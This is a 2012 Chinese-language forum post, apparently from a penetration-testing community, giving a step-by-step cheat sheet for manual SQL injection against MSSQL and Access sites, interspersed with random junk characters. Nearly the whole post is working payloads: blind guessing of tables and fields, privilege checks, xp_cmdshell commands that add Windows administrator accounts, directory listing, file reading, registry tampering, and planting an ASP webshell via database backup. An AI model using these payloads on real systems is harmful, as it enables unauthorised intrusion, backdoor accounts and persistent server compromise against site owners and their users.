中国网络渗透测试联盟
标题:
手工脚本注入
[打印本页]
作者:
admin
时间:
2012-9-15 14:48
标题:
手工脚本注入
手工脚本注入
9 d0 h v# v- d+ y
1.判断是否有注入;and 1=1 ;and 1=2
1 V' { g9 e! f9 U _1 h
5 u3 F' F. J$ ^8 s) O, j: U
2.初步判断是否是mssql ;and user>0
! J5 d4 X& N2 ?0 M/ L
6 ]% f6 T1 k$ }, `) \! X
3.注入参数是字符'and [查询条件] and ''='
! R, b5 d# s+ q% ~( k4 V" j6 ]6 o
6 a( `# D! W5 h" o$ D; f" G0 Q
4.搜索时没过滤参数的'and [查询条件] and '%25'='
! t+ Z, ~& W" L/ Z7 y' Z
2 o. X' `7 o( T& h4 y
5.判断数据库系统
1 A1 T$ q }, x* n9 O
;and (select count(*) from sysobjects)>0 mssql
7 X% G/ \2 |% R ]$ A
;and (select count(*) from msysobjects)>0 access
$ n" [" d9 O! {+ C' z. G
6 \+ A. H& @ x/ K
6.猜数据库 ;and (select Count(*) from [数据库名])>0
6 v* z. ~' {; M6 q
/ }. m( ^1 d- a" q) Z' E! g% B
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
) U& a6 H' @; O( m. P* ~# _
% _0 A0 o+ K" [& h @' |( G
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
; Q7 ~( \+ k$ L8 O9 F1 b6 g* r* J
6 V( z3 p3 x: Z
9.(1)猜字段的ascii值(access)
3 p2 y6 z/ ~. I: t( c2 S+ L* |6 k
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
) p6 k; }5 P5 c5 M2 {
8 n+ v- X# t( d3 E: o0 V
(2)猜字段的ascii值(mssql)
2 S* v5 D u5 g) ], o+ u2 Q
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
; a9 s* b+ H, O5 I: n
% [9 U* C: }1 d
10.测试权限结构(mssql)
5 x4 R/ v$ N N8 f, y9 m
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
! |# f" C! s g* p' N
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
& O! |5 k* `! N. B* m* r
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
! @, T/ }# i( N6 N6 g' t2 O* L+ s. o
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
. l: @7 ?; {3 L& ~
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
% a6 |* z' M* ?3 T' b4 f
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
- V9 G4 ^' E: i& Z/ `0 R# Y
;and 1=(select IS_MEMBER('db_owner'));--
; V5 y3 O5 ]! h2 o; o
! p8 h3 `! a3 G
11.添加mssql和系统的帐户
- w8 C! G3 x% D, h
;exec master.dbo.sp_addlogin username;--
3 Z1 t* k( z5 T
$ ?3 n+ t' T, }" a# y9 m1 Z
;exec master.dbo.sp_password null,username,password;--
+ q; v3 v& m5 }% C) d! ?
( l0 G/ x0 N0 M" s, A8 l. p
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
Q! m' Q3 J# @- B6 Q2 ?' [
6 [$ ]. A3 f5 H! ~. L! P
;exec master.dbo.xp_cmdshell 'net user username password
5 _- l( M3 K' c
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
$ n7 F0 {+ ~* M$ B" } n
T( w/ N7 X2 p, ~8 W
;exec master.dbo.xp_cmdshell 'net user username password /add';--
4 B# W$ Z6 Y4 |8 P
6 ^: A5 X7 j+ ?6 w. b
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
; k+ o8 E: {# v1 H% Y( k
$ [, Z5 {- I5 `2 K
12.(1)遍历目录
4 c6 W( b0 ]+ x
) f, g* G2 a4 G# s9 i
;create table dirs(paths varchar(100), id int)
' f/ S3 y: j' Q
;insert dirs exec master.dbo.xp_dirtree 'c:\'
8 N" G; m$ D s T1 @4 A
;and (select top 1 paths from dirs)>0
% c' t. p3 B& I, a, d
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
8 u. D2 n1 e, n, M
" g. @* k6 B- @! s, P- E4 T
(2)遍历目录
2 p& \: Q- r6 o0 [
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
; U5 N0 u0 }4 ^. |: w3 |
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
8 l9 S6 \0 z) c& P
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
! d1 s! b% ^9 h7 b( C: W
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
& B( B/ q2 N+ x' x) h1 Q1 h
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
3 W( N ?! n% u& j% w V
1 a* d g9 ~6 M" V9 V
13.mssql中的存储过程
: r5 Z, t3 Y& I% q% w
d1 `) D9 ] D1 C
xp_regenumvalues 注册表根键, 子键
6 V5 }, U1 s: ^
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
( p: V, R/ l( h% Y
) R8 p" _) F% x& U5 r, o( p
xp_regread 根键,子键,键值名
9 n& p9 V% i; G, u/ e; e7 q6 D( F. p
;exec xp_regread
, D( j, r$ r, P
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
. }5 @: ^) v$ W+ e
' f% d& w% ]- r1 i! z4 U8 V* V
xp_regwrite 根键,子键, 值名, 值类型, 值
) ~; G( X6 ~; X# l$ Y
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' H7 v+ l3 I, T. G9 Z1 R: E7 @0 w3 S; i
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
2 }+ M) r0 R/ C
! A) h% f9 c& g
xp_regdeletevalue 根键,子键,值名
. O$ b& ~* O8 u: S1 Q1 o3 w
0 U$ a7 p* e# o. C- V: h1 g
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
- _: @+ s3 A7 N& l5 u& T2 {* Y! _
7 I0 o9 h) m* l. ?- F: M" v2 ]
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
& A2 L8 p5 `( I) L2 c4 A
- T# o+ s; B( Q4 O- \5 U
14.mssql的backup创建webshell
8 }2 _7 ]* ~; p
use model
: U G1 h' W' x! Y5 C) ~
create table cmd(str image);
8 w; U- c1 r; E
insert into cmd(str) values ('');
. P, E0 ]* k4 ~* W
backup database model to disk='c:\l.asp';
2 K5 W" o9 S. P6 I* X" d8 |' Y
) [- q8 K" M7 I8 W" ^! }4 `# C
15.mssql内置函数
! K2 r8 l" g# K2 n
;and (select @@version)>0 获得Windows的版本号
/ |" z n9 P8 N; `4 i6 O
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
$ y" w* i, @1 t. t' @9 Z: l! B6 K
;and (select user_name())>0 爆当前系统的连接用户
0 e- Z3 T3 ^# F9 x5 L( C
;and (select db_name())>0 得到当前连接的数据库
6 R- [! C7 a- d* t* K' S
1 u l* E0 X: v' S& G- b$ D/ t
16.简洁的webshell
% h5 T1 x* c" g% H
9 U# z* H8 N9 }( r
use model
t1 f6 ~9 s6 b2 s ?; ~) z
) q d6 z8 W6 N c9 E3 N" L+ E
create table cmd(str image);
% l) T) a0 ^7 N9 O/ w
( z- e! b! |, o; G3 p/ H
insert into cmd(str) values ('');
+ W% `4 l1 n6 I( v$ e$ h% V
9 s. o/ |; d6 i. N* c
backup database model to disk='g:\wwwtest\l.asp';
. r# N2 R( e7 n! O
+ e0 w9 I m% |; M1 `, `' q2 A6 \" s
作者:
老男孩
时间:
2012-9-15 16:34
现在很多防注入啊,有其他注入字符码
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2